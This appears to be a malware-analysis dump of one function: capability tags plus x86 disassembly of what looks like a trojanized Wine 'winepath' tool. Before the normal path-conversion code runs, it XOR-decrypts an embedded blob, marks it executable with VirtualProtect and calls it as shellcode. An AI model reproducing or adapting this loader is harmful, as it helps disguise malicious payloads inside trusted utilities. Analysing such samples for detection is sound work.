Function at 0x401360
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push esi
push edi
push 0x2ebae40
xor edi, edi
call sub.MSVCRT.dll_malloc
mov esi, eax
add esp, 4
test esi, esi
jne 0x40138a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x2ebae40
push 0xa0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor ecx, ecx
lea ebx, [ecx + 0xd]
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + 0x403010]
ror al, 3
xor al, byte [edi + str.hkggjgaexzgbx]
mov byte [ecx + 0x403010], al
lea eax, [edi + 1]
cdq
idiv ebx
movzx eax, byte [ecx + 0x403011]
ror al, 3
xor al, byte [edx + str.hkggjgaexzgbx]
mov byte [ecx + 0x403011], al
lea eax, [edx + 1]
cdq
idiv ebx
movzx eax, byte [ecx + 0x403012]
ror al, 3
xor al, byte [edx + str.hkggjgaexzgbx]
mov byte [ecx + 0x403012], al
lea eax, [edx + 1]
cdq
add ecx, 3
idiv ebx
mov edi, edx
cmp ecx, 0x162f
jb 0x4013b0
lea eax, [ebp - 0x18]
push eax
push 0x40
push 0x162f
push 0x403010
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [0x403010]
call eax
push esi
call sub.MSVCRT.dll_free
mov edi, dword [ebp - 4]
xor edx, edx
add esp, 4
mov dword [ebp - 8], edx
xor ebx, ebx
cmp dword [edi + 4], edx
je 0x401551
mov eax, 2
add edi, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], edi
nop dword [eax]
test edx, edx
jne 0x40154e
mov esi, dword [edi]
mov dword [ebp - 0x10], esi
cmp word [esi], 0x2d
je 0x401482
inc eax
add edi, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], edi
jmp 0x401544
movzx eax, word [esi + 2]
cmp eax, 0x2d
jne 0x4014e7
cmp word [esi + 4], 0
jne 0x40149c
mov edx, 1
mov dword [ebp - 8], edx
jmp 0x401517
mov eax, dword [str.long]
xor edi, edi
test eax, eax
je 0x4014ce
lea ecx, [esi + 4]
mov dword [ebp - 0x14], ecx
mov esi, ecx
nop
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014c8
mov eax, dword [edi*4 + 0x404644]
inc edi
test eax, eax
jne 0x4014b0
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov eax, dword [edi*4 + 0x404640]
test eax, eax
je 0x401514
movzx eax, word [eax]
push esi
push eax
call fcn.004011a0
or ebx, eax
jmp 0x401511
mov edi, 1
test ax, ax
je 0x401514
mov eax, 2
movzx eax, word [eax + esi]
push 0
push eax
call fcn.004011a0
or ebx, eax
lea edi, [edi + 1]
lea eax, [edi + edi]
cmp word [eax + esi], 0
jne 0x4014f6
mov edx, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, eax
test esi, esi
je 0x40154e
lea eax, [edi + 4]
mov edx, edi
mov edi, dword [ebp - 4]
mov eax, dword [eax]
lea ecx, [ecx + 1]
mov dword [edx], eax
lea eax, [edi + ecx*4]
cmp dword [eax - 4], 0
lea edx, [eax - 4]
jne 0x401528
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov esi, dword [edi]
test esi, esi
jne 0x401460
mov edi, dword [ebp - 4]
test ebx, 0x10
mov ecx, 0
mov edx, 0xa
mov eax, ebx
cmove ecx, edx
mov dword [ebp - 4], ecx
mov ecx, ebx
xor ecx, 0x10
test eax, 0x10
mov eax, 4
cmove ecx, ebx
test ecx, ecx
cmove ecx, eax
test al, cl
jne 0x4016a0
test cl, 8
je 0x4015b3
push str.wine_get_dos_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_dos_file_name_n
jmp 0x4016c1
cmp dword [edi + 4], 0
mov ebx, 1
je 0x40169c
mov edx, ecx
lea esi, [edi + 4]
and edx, 2
and ecx, ebx
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ecx
mov byte [ebp - 0x11c], 0
test edx, edx
je 0x401632
push 0x104
lea eax, [ebp - 0x324]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x401618
push 0
push 0
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x324]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push eax
push str._s_c
call fcn.00401330
mov ecx, dword [ebp - 8]
add esp, 0xc
test ecx, ecx
je 0x40168b
push 0x104
lea eax, [ebp - 0x324]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x401671
push 0
push 0
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x324]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push eax
push str._s_c
call fcn.00401330
mov ecx, dword [ebp - 8]
add esp, 0xc
mov edx, dword [ebp - 0x10]
inc ebx
cmp dword [edi + ebx*4], 0
lea esi, [edi + ebx*4]
jne 0x4015d2
push 0
jmp 0x4016d6
push str.wine_get_unix_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_unix_file_name_n
push 2
call 0x400000
add esp, 4
push eax
call fcn.00401300
add esp, 0xc
push 3
call sub.MSVCRT.dll_exit
int3